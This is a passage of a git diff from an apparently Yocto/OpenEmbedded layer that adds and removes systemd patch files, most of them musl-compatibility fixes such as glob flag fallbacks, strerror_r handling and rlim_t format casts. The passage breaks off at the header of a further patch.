++ return log_debug_errno(errno, "Failed to lower RLIMIT_NOFILE's soft limit to " RLIM_FMT ": %m", (uintmax_t)rl.rlim_cur);
+
+ return 1;
+ }
+diff --git a/src/core/execute.c b/src/core/execute.c
+index bd3da0c401..df1870fd2f 100644
+--- a/src/core/execute.c
++++ b/src/core/execute.c
+@@ -1045,9 +1045,9 @@ void exec_context_dump(const ExecContext *c, FILE* f, const char *prefix) {
+ for (unsigned i = 0; i < RLIM_NLIMITS; i++)
+ if (c->rlimit[i]) {
+ fprintf(f, "%sLimit%s: " RLIM_FMT "\n",
+- prefix, rlimit_to_string(i), c->rlimit[i]->rlim_max);
++ prefix, rlimit_to_string(i), (uintmax_t)c->rlimit[i]->rlim_max);
+ fprintf(f, "%sLimit%sSoft: " RLIM_FMT "\n",
+- prefix, rlimit_to_string(i), c->rlimit[i]->rlim_cur);
++ prefix, rlimit_to_string(i), (uintmax_t)c->rlimit[i]->rlim_cur);
+ }
+
+ if (c->ioprio_set) {
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not.patch b/meta/recipes-core/systemd/systemd/0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not.patch
deleted file mode 100644
index dd6ecebeb4..0000000000
--- a/meta/recipes-core/systemd/systemd/0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not.patch
+++ /dev/null
@@ -1,153 +0,0 @@
-From 77f98727f1d19a8fb327b55c92f1a9ee7b859e9f Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 14:56:21 +0800
-Subject: [PATCH] don't fail if GLOB_BRACE and GLOB_ALTDIRFUNC is not defined
-
-If the standard library doesn't provide brace
-expansion users just won't get it.
-
-Dont use GNU GLOB extentions on non-glibc systems
-
-Conditionalize use of GLOB_ALTDIRFUNC
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-[rebased for systemd 243]
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
-
----
- src/basic/glob-util.c | 12 ++++++++++++
- src/test/test-glob-util.c | 16 ++++++++++++++++
- src/tmpfiles/tmpfiles.c | 10 ++++++++++
- 3 files changed, 38 insertions(+)
-
-Index: systemd-stable/src/basic/glob-util.c
-===================================================================
---- systemd-stable.orig/src/basic/glob-util.c
-+++ systemd-stable/src/basic/glob-util.c
-@@ -12,6 +12,12 @@
- #include "path-util.h"
- #include "strv.h"
-
-+/* Don't fail if the standard library
-+ * doesn't provide brace expansion */
-+#ifndef GLOB_BRACE
-+#define GLOB_BRACE 0
-+#endif
-+
- static void closedir_wrapper(void* v) {
- (void) closedir(v);
- }
-@@ -19,6 +25,7 @@ static void closedir_wrapper(void* v) {
- int safe_glob(const char *path, int flags, glob_t *pglob) {
- int k;
-
-+#ifdef GLOB_ALTDIRFUNC
- /* We want to set GLOB_ALTDIRFUNC ourselves, don't allow it to be set. */
- assert(!(flags & GLOB_ALTDIRFUNC));
-
-@@ -32,9 +39,14 @@ int safe_glob(const char *path, int flag
- pglob->gl_lstat = lstat;
- if (!pglob->gl_stat)
- pglob->gl_stat = stat;
-+#endif
-
- errno = 0;
-+#ifdef GLOB_ALTDIRFUNC
- k = glob(path, flags | GLOB_ALTDIRFUNC, NULL, pglob);
-+#else
-+ k = glob(path, flags, NULL, pglob);
-+#endif
- if (k == GLOB_NOMATCH)
- return -ENOENT;
- if (k == GLOB_NOSPACE)
-Index: systemd-stable/src/test/test-glob-util.c
-===================================================================
---- systemd-stable.orig/src/test/test-glob-util.c
-+++ systemd-stable/src/test/test-glob-util.c
-@@ -12,6 +12,12 @@
- #include "rm-rf.h"
- #include "tmpfile-util.h"
-
-+/* Don't fail if the standard library
-+ * doesn't provide brace expansion */
-+#ifndef GLOB_BRACE
-+#define GLOB_BRACE 0
-+#endif
-+
- static void test_glob_exists(void) {
- char name[] = "/tmp/test-glob_exists.XXXXXX";
- int fd = -1;
-@@ -39,11 +45,13 @@ static void test_glob_no_dot(void) {
- const char *fn;
-
- _cleanup_globfree_ glob_t g = {
-+#ifdef GLOB_ALTDIRFUNC
- .gl_closedir = closedir_wrapper,
- .gl_readdir = (struct dirent *(*)(void *)) readdir_no_dot,
- .gl_opendir = (void *(*)(const char *)) opendir,
- .gl_lstat = lstat,
- .gl_stat = stat,
-+#endif
- };
-
- int r;
-@@ -51,11 +59,19 @@ static void test_glob_no_dot(void) {
- assert_se(mkdtemp(template));
-
- fn = strjoina(template, "/*");
-+#ifdef GLOB_ALTDIRFUNC
- r = glob(fn, GLOB_NOSORT|GLOB_BRACE|GLOB_ALTDIRFUNC, NULL, &g);
-+#else
-+ r = glob(fn, GLOB_NOSORT|GLOB_BRACE, NULL, &g);
-+#endif
- assert_se(r == GLOB_NOMATCH);
-
- fn = strjoina(template, "/.*");
-+#ifdef GLOB_ALTDIRFUNC
- r = glob(fn, GLOB_NOSORT|GLOB_BRACE|GLOB_ALTDIRFUNC, NULL, &g);
-+#else
-+ r = glob(fn, GLOB_NOSORT|GLOB_BRACE, NULL, &g);
-+#endif
- assert_se(r == GLOB_NOMATCH);
-
- (void) rm_rf(template, REMOVE_ROOT|REMOVE_PHYSICAL);
-Index: systemd-stable/src/tmpfiles/tmpfiles.c
-===================================================================
---- systemd-stable.orig/src/tmpfiles/tmpfiles.c
-+++ systemd-stable/src/tmpfiles/tmpfiles.c
-@@ -59,6 +59,12 @@
- #include "umask-util.h"
- #include "user-util.h"
-
-+/* Don't fail if the standard library
-+ * doesn't provide brace expansion */
-+#ifndef GLOB_BRACE
-+#define GLOB_BRACE 0
-+#endif
-+
- /* This reads all files listed in /etc/tmpfiles.d/?*.conf and creates
- * them in the file system. This is intended to be used to create
- * properly owned directories beneath /tmp, /var/tmp, /run, which are
-@@ -1867,7 +1873,9 @@ finish:
-
- static int glob_item(Item *i, action_t action) {
- _cleanup_globfree_ glob_t g = {
-+#ifdef GLOB_ALTDIRFUNC
- .gl_opendir = (void *(*)(const char *)) opendir_nomod,
-+#endif
- };
- int r = 0, k;
- char **fn;
-@@ -1887,7 +1895,9 @@ static int glob_item(Item *i, action_t a
-
- static int glob_item_recursively(Item *i, fdaction_t action) {
- _cleanup_globfree_ glob_t g = {
-+#ifdef GLOB_ALTDIRFUNC
- .gl_opendir = (void *(*)(const char *)) opendir_nomod,
-+#endif
- };
- int r = 0, k;
- char **fn;
diff --git a/meta/recipes-core/systemd/systemd/0007-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch b/meta/recipes-core/systemd/systemd/0007-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch
new file mode 100644
index 0000000000..8d6084239e
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0007-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch
@@ -0,0 +1,99 @@
+From 4842cff4f1329f0b5034b529d56f8ad1f234ac4c Mon Sep 17 00:00:00 2001
+From: Andre McCurdy <armccurdy@gmail.com>
+Date: Tue, 10 Oct 2017 14:33:30 -0700
+Subject: [PATCH 07/22] don't pass AT_SYMLINK_NOFOLLOW flag to faccessat()
+
+Avoid using AT_SYMLINK_NOFOLLOW flag. It doesn't seem like the right
+thing to do and it's not portable (not supported by musl). See:
+
+ http://lists.landley.net/pipermail/toybox-landley.net/2014-September/003610.html
+ http://www.openwall.com/lists/musl/2015/02/05/2
+
+Note that laccess() is never passing AT_EACCESS so a lot of the
+discussion in the links above doesn't apply. Note also that
+(currently) all systemd callers of laccess() pass mode as F_OK, so
+only check for existence of a file, not access permissions.
+Therefore, in this case, the only distiction between faccessat()
+with (flag == 0) and (flag == AT_SYMLINK_NOFOLLOW) is the behaviour
+for broken symlinks; laccess() on a broken symlink will succeed with
+(flag == AT_SYMLINK_NOFOLLOW) and fail (flag == 0).
+
+The laccess() macros was added to systemd some time ago and it's not
+clear if or why it needs to return success for broken symlinks. Maybe
+just historical and not actually necessary or desired behaviour?
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
+---
+ src/basic/fs-util.h | 21 ++++++++++++++++++++-
+ src/shared/base-filesystem.c | 6 +++---
+ 2 files changed, 23 insertions(+), 4 deletions(-)
+
+diff --git a/src/basic/fs-util.h b/src/basic/fs-util.h
+index 1023ab73ca..c78ff6f27f 100644
+--- a/src/basic/fs-util.h
++++ b/src/basic/fs-util.h
+@@ -49,8 +49,27 @@ int futimens_opath(int fd, const struct timespec ts[2]);
+ int fd_warn_permissions(const char *path, int fd);
+ int stat_warn_permissions(const char *path, const struct stat *st);
+
++/*
++ Avoid using AT_SYMLINK_NOFOLLOW flag. It doesn't seem like the right thing to
++ do and it's not portable (not supported by musl). See:
++
++ http://lists.landley.net/pipermail/toybox-landley.net/2014-September/003610.html
++ http://www.openwall.com/lists/musl/2015/02/05/2
++
++ Note that laccess() is never passing AT_EACCESS so a lot of the discussion in
++ the links above doesn't apply. Note also that (currently) all systemd callers
++ of laccess() pass mode as F_OK, so only check for existence of a file, not
++ access permissions. Therefore, in this case, the only distiction between
++ faccessat() with (flag == 0) and (flag == AT_SYMLINK_NOFOLLOW) is the
++ behaviour for broken symlinks; laccess() on a broken symlink will succeed
++ with (flag == AT_SYMLINK_NOFOLLOW) and fail (flag == 0).
++
++ The laccess() macros was added to systemd some time ago and it's not clear if
++ or why it needs to return success for broken symlinks. Maybe just historical
++ and not actually necessary or desired behaviour?
++*/
+ #define laccess(path, mode) \
+- RET_NERRNO(faccessat(AT_FDCWD, (path), (mode), AT_SYMLINK_NOFOLLOW))
++ RET_NERRNO(faccessat(AT_FDCWD, (path), (mode), 0))
+
+ int touch_file(const char *path, bool parents, usec_t stamp, uid_t uid, gid_t gid, mode_t mode);
+
+diff --git a/src/shared/base-filesystem.c b/src/shared/base-filesystem.c
+index 569ef466c3..7ae921a113 100644
+--- a/src/shared/base-filesystem.c
++++ b/src/shared/base-filesystem.c
+@@ -145,7 +145,7 @@ int base_filesystem_create_fd(int fd, const char *root, uid_t uid, gid_t gid) {
+ /* The "root" parameter is decoration only – it's only used as part of log messages */
+
+ for (size_t i = 0; i < ELEMENTSOF(table); i++) {
+- if (faccessat(fd, table[i].dir, F_OK, AT_SYMLINK_NOFOLLOW) >= 0)
++ if (faccessat(fd, table[i].dir, F_OK, 0) >= 0)
+ continue;
+
+ if (table[i].target) { /* Create as symlink? */
+@@ -153,7 +153,7 @@ int base_filesystem_create_fd(int fd, const char *root, uid_t uid, gid_t gid) {
+
+ /* check if one of the targets exists */
+ NULSTR_FOREACH(s, table[i].target) {
+- if (faccessat(fd, s, F_OK, AT_SYMLINK_NOFOLLOW) < 0)
++ if (faccessat(fd, s, F_OK, 0) < 0)
+ continue;
+
+ /* check if a specific file exists at the target path */
+@@ -164,7 +164,7 @@ int base_filesystem_create_fd(int fd, const char *root, uid_t uid, gid_t gid) {
+ if (!p)
+ return log_oom();
+
+- if (faccessat(fd, p, F_OK, AT_SYMLINK_NOFOLLOW) < 0)
++ if (faccessat(fd, p, F_OK, 0) < 0)
+ continue;
+ }
+
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0008-Define-glibc-compatible-basename-for-non-glibc-syste.patch b/meta/recipes-core/systemd/systemd/0008-Define-glibc-compatible-basename-for-non-glibc-syste.patch
new file mode 100644
index 0000000000..c1a8bb19fe
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0008-Define-glibc-compatible-basename-for-non-glibc-syste.patch
@@ -0,0 +1,34 @@
+From bab07e779ff23d5593bb118efaaa31b60a6dce87 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 27 May 2018 08:36:44 -0700
+Subject: [PATCH 08/22] Define glibc compatible basename() for non-glibc
+ systems
+
+Fixes builds with musl, even though systemd is adamant about
+using non-posix basename implementation, we have a way out
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/basic/string-util.h | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/src/basic/string-util.h b/src/basic/string-util.h
+index b6d8be3083..0a29036c4c 100644
+--- a/src/basic/string-util.h
++++ b/src/basic/string-util.h
+@@ -26,6 +26,10 @@
+ #define URI_UNRESERVED ALPHANUMERICAL "-._~" /* [RFC3986] */
+ #define URI_VALID URI_RESERVED URI_UNRESERVED /* [RFC3986] */
+
++#if !defined(__GLIBC__)
++#define basename(src) (strrchr(src,'/') ? strrchr(src,'/')+1 : src)
++#endif
++
+ static inline char* strstr_ptr(const char *haystack, const char *needle) {
+ if (!haystack || !needle)
+ return NULL;
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0008-add-missing-FTW_-macros-for-musl.patch b/meta/recipes-core/systemd/systemd/0008-add-missing-FTW_-macros-for-musl.patch
deleted file mode 100644
index 1f618932ea..0000000000
--- a/meta/recipes-core/systemd/systemd/0008-add-missing-FTW_-macros-for-musl.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From 7c440cfc53aa52c9dc91c3a8c105bcf314c53af6 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 15:00:06 +0800
-Subject: [PATCH] add missing FTW_ macros for musl
-
-This is to avoid build failures like below for musl.
-
- locale-util.c:296:24: error: 'FTW_STOP' undeclared
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
----
- src/basic/missing_type.h | 20 ++++++++++++++++++++
- 1 file changed, 20 insertions(+)
-
-diff --git a/src/basic/missing_type.h b/src/basic/missing_type.h
-index c487e65e7bde..23602ebbd533 100644
---- a/src/basic/missing_type.h
-+++ b/src/basic/missing_type.h
-@@ -19,3 +19,23 @@ typedef int (*comparison_fn_t)(const void *, const void *);
- #define __COMPAR_FN_T
- typedef int (*__compar_fn_t)(const void *, const void *);
- #endif
-+
-+#ifndef FTW_ACTIONRETVAL
-+#define FTW_ACTIONRETVAL 16
-+#endif
-+
-+#ifndef FTW_CONTINUE
-+#define FTW_CONTINUE 0
-+#endif
-+
-+#ifndef FTW_STOP
-+#define FTW_STOP 1
-+#endif
-+
-+#ifndef FTW_SKIP_SUBTREE
-+#define FTW_SKIP_SUBTREE 2
-+#endif
-+
-+#ifndef FTW_SKIP_SIBLINGS
-+#define FTW_SKIP_SIBLINGS 3
-+#endif
diff --git a/meta/recipes-core/systemd/systemd/0008-implment-systemd-sysv-install-for-OE.patch b/meta/recipes-core/systemd/systemd/0008-implment-systemd-sysv-install-for-OE.patch
new file mode 100644
index 0000000000..acff18dc43
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0008-implment-systemd-sysv-install-for-OE.patch
@@ -0,0 +1,43 @@
+From 5712d56f1cd654d2e5d2e9117ff77fe4c299f76b Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 5 Sep 2015 06:31:47 +0000
+Subject: [PATCH] implment systemd-sysv-install for OE
+
+Use update-rc.d for enabling/disabling and status command
+to check the status of the sysv service
+
+Upstream-Status: Inappropriate [OE-Specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/systemctl/systemd-sysv-install.SKELETON | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/src/systemctl/systemd-sysv-install.SKELETON b/src/systemctl/systemd-sysv-install.SKELETON
+index cb58d8243b..000bdf6165 100755
+--- a/src/systemctl/systemd-sysv-install.SKELETON
++++ b/src/systemctl/systemd-sysv-install.SKELETON
+@@ -34,17 +34,17 @@ case "$1" in
+ enable)
+ # call the command to enable SysV init script $NAME here
+ # (consider optional $ROOT)
+- echo "IMPLEMENT ME: enabling SysV init.d script $NAME"
++ update-rc.d -f $NAME defaults
+ ;;
+ disable)
+ # call the command to disable SysV init script $NAME here
+ # (consider optional $ROOT)
+- echo "IMPLEMENT ME: disabling SysV init.d script $NAME"
++ update-rc.d -f $NAME remove
+ ;;
+ is-enabled)
+ # exit with 0 if $NAME is enabled, non-zero if it is disabled
+ # (consider optional $ROOT)
+- echo "IMPLEMENT ME: checking SysV init.d script $NAME"
++ /etc/init.d/$NAME status
+ ;;
+ *)
+ usage ;;
+--
+2.39.2
+
diff --git a/meta/recipes-core/systemd/systemd/0009-Do-not-disable-buffering-when-writing-to-oom_score_a.patch b/meta/recipes-core/systemd/systemd/0009-Do-not-disable-buffering-when-writing-to-oom_score_a.patch
new file mode 100644
index 0000000000..3ff0177ae3
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0009-Do-not-disable-buffering-when-writing-to-oom_score_a.patch
@@ -0,0 +1,41 @@
+From 25093c5017725b8577c444dfea0f42ad85b43522 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Wed, 4 Jul 2018 15:00:44 +0800
+Subject: [PATCH 09/22] Do not disable buffering when writing to oom_score_adj
+
+On musl, disabling buffering when writing to oom_score_adj will
+cause the following error.
+
+ Failed to adjust OOM setting: Invalid argument
+
+This error appears for systemd-udevd.service and dbus.service.
+This is because kernel receives '-' instead of the whole '-900'
+if buffering is disabled.
+
+This is libc implementation specific, as glibc does not have this issue.
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+[rebased for systemd 243]
+Signed-off-by: Scott Murray <scott.murray@konsulko.com>
+---
+ src/basic/process-util.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/basic/process-util.c b/src/basic/process-util.c
+index 201c5596ae..ea51595b6c 100644
+--- a/src/basic/process-util.c
++++ b/src/basic/process-util.c
+@@ -1716,7 +1716,7 @@ int set_oom_score_adjust(int value) {
+ xsprintf(t, "%i", value);
+
+ return write_string_file("/proc/self/oom_score_adj", t,
+- WRITE_STRING_FILE_VERIFY_ON_FAILURE|WRITE_STRING_FILE_DISABLE_BUFFER);
++ WRITE_STRING_FILE_VERIFY_ON_FAILURE);
+ }
+
+ int get_oom_score_adjust(int *ret) {
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0010-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch b/meta/recipes-core/systemd/systemd/0010-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch
new file mode 100644
index 0000000000..cf59ac7d06
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0010-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch
@@ -0,0 +1,76 @@
+From 2adbe9773cd65c48eec9df96868d4a738927c8d9 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Tue, 10 Jul 2018 15:40:17 +0800
+Subject: [PATCH 10/22] distinguish XSI-compliant strerror_r from GNU-specifi
+ strerror_r
+
+XSI-compliant strerror_r and GNU-specifi strerror_r are different.
+
+ int strerror_r(int errnum, char *buf, size_t buflen);
+ /* XSI-compliant */
+
+ char *strerror_r(int errnum, char *buf, size_t buflen);
+ /* GNU-specific */
+
+We need to distinguish between them. Otherwise, we'll get an int value
+assigned to (char *) variable, resulting in segment fault.
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ src/libsystemd/sd-bus/bus-error.c | 11 ++++++++++-
+ src/libsystemd/sd-journal/journal-send.c | 5 +++++
+ 2 files changed, 15 insertions(+), 1 deletion(-)
+
+diff --git a/src/libsystemd/sd-bus/bus-error.c b/src/libsystemd/sd-bus/bus-error.c
+index 77b2e1a0fd..fdba0e0142 100644
+--- a/src/libsystemd/sd-bus/bus-error.c
++++ b/src/libsystemd/sd-bus/bus-error.c
+@@ -408,7 +408,12 @@ static void bus_error_strerror(sd_bus_error *e, int error) {
+ return;
+
+ errno = 0;
++#ifndef __GLIBC__
++ strerror_r(error, m, k);
++ x = m;
++#else
+ x = strerror_r(error, m, k);
++#endif
+ if (errno == ERANGE || strlen(x) >= k - 1) {
+ free(m);
+ k *= 2;
+@@ -593,8 +598,12 @@ const char* _bus_error_message(const sd_bus_error *e, int error, char buf[static
+
+ if (e && e->message)
+ return e->message;
+-
++#ifndef __GLIBC__
++ strerror_r(abs(error), buf, ERRNO_BUF_LEN);
++ return buf;
++#else
+ return strerror_r(abs(error), buf, ERRNO_BUF_LEN);
++#endif
+ }
+
+ static bool map_ok(const sd_bus_error_map *map) {
+diff --git a/src/libsystemd/sd-journal/journal-send.c b/src/libsystemd/sd-journal/journal-send.c
+index 69a2eb6404..1561859650 100644
+--- a/src/libsystemd/sd-journal/journal-send.c
++++ b/src/libsystemd/sd-journal/journal-send.c
+@@ -361,7 +361,12 @@ static int fill_iovec_perror_and_send(const char *message, int skip, struct iove
+ char* j;
+
+ errno = 0;
++#ifndef __GLIBC__
++ strerror_r(_saved_errno_, buffer + 8 + k, n - 8 - k);
++ j = buffer + 8 + k;
++#else
+ j = strerror_r(_saved_errno_, buffer + 8 + k, n - 8 - k);
++#endif
+ if (errno == 0) {
+ char error[STRLEN("ERRNO=") + DECIMAL_STR_MAX(int) + 1];
+
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0010-fix-missing-of-__register_atfork-for-non-glibc-build.patch b/meta/recipes-core/systemd/systemd/0010-fix-missing-of-__register_atfork-for-non-glibc-build.patch
deleted file mode 100644
index 15055161fc..0000000000
--- a/meta/recipes-core/systemd/systemd/0010-fix-missing-of-__register_atfork-for-non-glibc-build.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-From eed7427db98cc01db7e9b3479655d68b044bc85b Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 15:03:47 +0800
-Subject: [PATCH] fix missing of __register_atfork for non-glibc builds
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
----
- src/basic/process-util.c | 7 +++++++
- 1 file changed, 7 insertions(+)
-
-Index: systemd-stable/src/basic/process-util.c
-===================================================================
---- systemd-stable.orig/src/basic/process-util.c
-+++ systemd-stable/src/basic/process-util.c
-@@ -18,6 +18,9 @@
- #if HAVE_VALGRIND_VALGRIND_H
- #include <valgrind/valgrind.h>
- #endif
-+#ifndef __GLIBC__
-+#include <pthread.h>
-+#endif
-
- #include "alloc-util.h"
- #include "architecture.h"
-@@ -1143,11 +1146,15 @@ void reset_cached_pid(void) {
- cached_pid = CACHED_PID_UNSET;
- }
-
-+#ifdef __GLIBC__
- /* We use glibc __register_atfork() + __dso_handle directly here, as they are not included in the glibc
- * headers. __register_atfork() is mostly equivalent to pthread_atfork(), but doesn't require us to link against
- * libpthread, as it is part of glibc anyway. */
- extern int __register_atfork(void (*prepare) (void), void (*parent) (void), void (*child) (void), void *dso_handle);
- extern void* __dso_handle _weak_;
-+#else
-+#define __register_atfork(prepare,parent,child,dso) pthread_atfork(prepare,parent,child)
-+#endif
-
- pid_t getpid_cached(void) {
- static bool installed = false;
diff --git a/meta/recipes-core/systemd/systemd/0011-Use-uintmax_t-for-handling-rlim_t.patch b/meta/recipes-core/systemd/systemd/0011-Use-uintmax_t-for-handling-rlim_t.patch
deleted file mode 100644
index a6fcd2f5da..0000000000
--- a/meta/recipes-core/systemd/systemd/0011-Use-uintmax_t-for-handling-rlim_t.patch
+++ /dev/null
@@ -1,95 +0,0 @@
-From 4aa91347ae975051dbe4dd2f98a1f4f459f2604f Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 15:12:41 +0800
-Subject: [PATCH] Use uintmax_t for handling rlim_t
-
-PRIu{32,64} is not right format to represent rlim_t type
-therefore use %ju and typecast the rlim_t variables to
-uintmax_t.
-
-Fixes portablility errors like
-
-execute.c:3446:36: error: format '%lu' expects argument of type 'long unsigned int', but argument 5 has type 'rlim_t {aka long long unsigned int}' [-Werror=format=]
-| fprintf(f, "%s%s: " RLIM_FMT "\n",
-| ^~~~~~~~
-| prefix, rlimit_to_string(i), c->rlimit[i]->rlim_max);
-| ~~~~~~~~~~~~~~~~~~~~~~
-
-Upstream-Status: Denied [https://github.com/systemd/systemd/pull/7199]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-[Rebased for v241]
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
----
- src/basic/format-util.h | 8 +-------
- src/basic/rlimit-util.c | 10 +++++-----
- src/core/execute.c | 4 ++--
- 3 files changed, 8 insertions(+), 14 deletions(-)
-
-Index: systemd-stable/src/basic/format-util.h
-===================================================================
---- systemd-stable.orig/src/basic/format-util.h
-+++ systemd-stable/src/basic/format-util.h
-@@ -32,13 +32,7 @@ assert_cc(sizeof(gid_t) == sizeof(uint32
- # define PRI_TIMEX "li"
- #endif
-
--#if SIZEOF_RLIM_T == 8
--# define RLIM_FMT "%" PRIu64
--#elif SIZEOF_RLIM_T == 4
--# define RLIM_FMT "%" PRIu32
--#else
--# error Unknown rlim_t size
--#endif
-+#define RLIM_FMT "%ju"
-
- #if SIZEOF_DEV_T == 8
- # define DEV_FMT "%" PRIu64
-Index: systemd-stable/src/basic/rlimit-util.c
-===================================================================
---- systemd-stable.orig/src/basic/rlimit-util.c
-+++ systemd-stable/src/basic/rlimit-util.c
-@@ -306,13 +306,13 @@ int rlimit_format(const struct rlimit *r
- if (rl->rlim_cur >= RLIM_INFINITY && rl->rlim_max >= RLIM_INFINITY)
- s = strdup("infinity");
- else if (rl->rlim_cur >= RLIM_INFINITY)
-- (void) asprintf(&s, "infinity:" RLIM_FMT, rl->rlim_max);
-+ (void) asprintf(&s, "infinity:" RLIM_FMT, (uintmax_t)rl->rlim_max);
- else if (rl->rlim_max >= RLIM_INFINITY)
-- (void) asprintf(&s, RLIM_FMT ":infinity", rl->rlim_cur);
-+ (void) asprintf(&s, RLIM_FMT ":infinity", (uintmax_t)rl->rlim_cur);
- else if (rl->rlim_cur == rl->rlim_max)
-- (void) asprintf(&s, RLIM_FMT, rl->rlim_cur);
-+ (void) asprintf(&s, RLIM_FMT, (uintmax_t)rl->rlim_cur);
- else
-- (void) asprintf(&s, RLIM_FMT ":" RLIM_FMT, rl->rlim_cur, rl->rlim_max);
-+ (void) asprintf(&s, RLIM_FMT ":" RLIM_FMT, (uintmax_t)rl->rlim_cur, (uintmax_t)rl->rlim_max);
-
- if (!s)
- return -ENOMEM;
-@@ -403,7 +403,7 @@ int rlimit_nofile_safe(void) {
-
- rl.rlim_cur = FD_SETSIZE;
- if (setrlimit(RLIMIT_NOFILE, &rl) < 0)
-- return log_debug_errno(errno, "Failed to lower RLIMIT_NOFILE's soft limit to " RLIM_FMT ": %m", rl.rlim_cur);
-+ return log_debug_errno(errno, "Failed to lower RLIMIT_NOFILE's soft limit to " RLIM_FMT ": %m", (uintmax_t)rl.rlim_cur);
-
- return 1;
- }
-Index: systemd-stable/src/core/execute.c
-===================================================================
---- systemd-stable.orig/src/core/execute.c
-+++ systemd-stable/src/core/execute.c
-@@ -4686,9 +4686,9 @@ void exec_context_dump(const ExecContext
- for (i = 0; i < RLIM_NLIMITS; i++)
- if (c->rlimit[i]) {
- fprintf(f, "%sLimit%s: " RLIM_FMT "\n",
-- prefix, rlimit_to_string(i), c->rlimit[i]->rlim_max);
-+ prefix, rlimit_to_string(i), (uintmax_t)c->rlimit[i]->rlim_max);
- fprintf(f, "%sLimit%sSoft: " RLIM_FMT "\n",
-- prefix, rlimit_to_string(i), c->rlimit[i]->rlim_cur);
-+ prefix, rlimit_to_string(i), (uintmax_t)c->rlimit[i]->rlim_cur);
- }
-
- if (c->ioprio_set) {
diff --git a/meta/recipes-core/systemd/systemd/0011-avoid-redefinition-of-prctl_mm_map-structure.patch b/meta/recipes-core/systemd/systemd/0011-avoid-redefinition-of-prctl_mm_map-structure.patch
new file mode 100644
index 0000000000..e481b2e2e4
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0011-avoid-redefinition-of-prctl_mm_map-structure.patch
@@ -0,0 +1,32 @@
+From 49c446cfb78cf74a909bed8c3798b77a5469866a Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Mon, 25 Feb 2019 15:44:54 +0800
+Subject: [PATCH 11/22] avoid redefinition of prctl_mm_map structure
+
+Fix the following compile failure:
+error: redefinition of 'struct prctl_mm_map'
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ src/basic/missing_prctl.h | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/src/basic/missing_prctl.h b/src/basic/missing_prctl.h
+index 7d9e395c92..88c2d7dfac 100644
+--- a/src/basic/missing_prctl.h
++++ b/src/basic/missing_prctl.h
+@@ -1,7 +1,9 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+ #pragma once
+
++#ifdef __GLIBC__
+ #include <linux/prctl.h>
++#endif
+
+ /* 58319057b7847667f0c9585b9de0e8932b0fdb08 (4.3) */
+ #ifndef PR_CAP_AMBIENT
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0012-do-not-disable-buffer-in-writing-files.patch b/meta/recipes-core/systemd/systemd/0012-do-not-disable-buffer-in-writing-files.patch
new file mode 100644
index 0000000000..66be79077e
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0012-do-not-disable-buffer-in-writing-files.patch
@@ -0,0 +1,562 @@
